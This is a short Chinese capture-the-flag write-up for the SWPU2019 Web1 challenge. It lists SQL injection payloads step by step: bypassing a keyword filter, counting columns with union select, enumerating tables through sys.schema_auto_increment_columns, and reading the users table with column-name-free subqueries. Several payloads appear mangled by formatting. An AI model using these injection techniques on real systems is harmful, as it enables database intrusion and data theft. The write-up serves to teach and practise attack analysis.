无列名注入+or的bypass([SWPU2019]Web1)

考点

无informat_schema注入：https://www.anquanke.com/post/id/193512

无列名注入：https://nosec.org/home/detail/2245.html

看到申请发布广告盲猜xss

成功弹窗xss，但是点击广告详情发现SQL错误

fuzz发现只要有or均反馈标题含有敏感词汇

1’ order by 5#

1’/‘/order/‘/by/‘/5#

1’/‘/ororderder/‘/bbyy/‘/5#

这样不行就尝试联合查询判断列数,单引号是为了闭合

1’/‘/union/‘/select/‘/1,2,3’%23

1’/‘/union/‘/select/‘/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22’%23

查数据库

1’/‘/union/‘/select/‘/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22’%23

查表

1’union//select//1,

(select//group_concat(table_name)//from/**/sys.schema_auto_increment_colum

ns//where//table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

,19,20,21,22’%23

得到ads，user表

查字段

无列名注入,本地尝试,因为数据有八列,固联合查询八列

1’union//select//1,

(select/‘/4/‘/from/‘/(select/‘/1,2,3,4,5,6/‘/union/‘/select/‘//‘/from/‘*/users)redforce),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22’

反馈标题含有敏感词汇,猜测过滤了反单引号

第二个字段

-1’union//select//1,(select//group_concat(a)//from(select//1,2//as//a,3//union//select*from//users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,’22

flag

-1’union//select//1,(select//group_concat(b)//from(select//1,2,3//as//b//union//select*from//users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,’22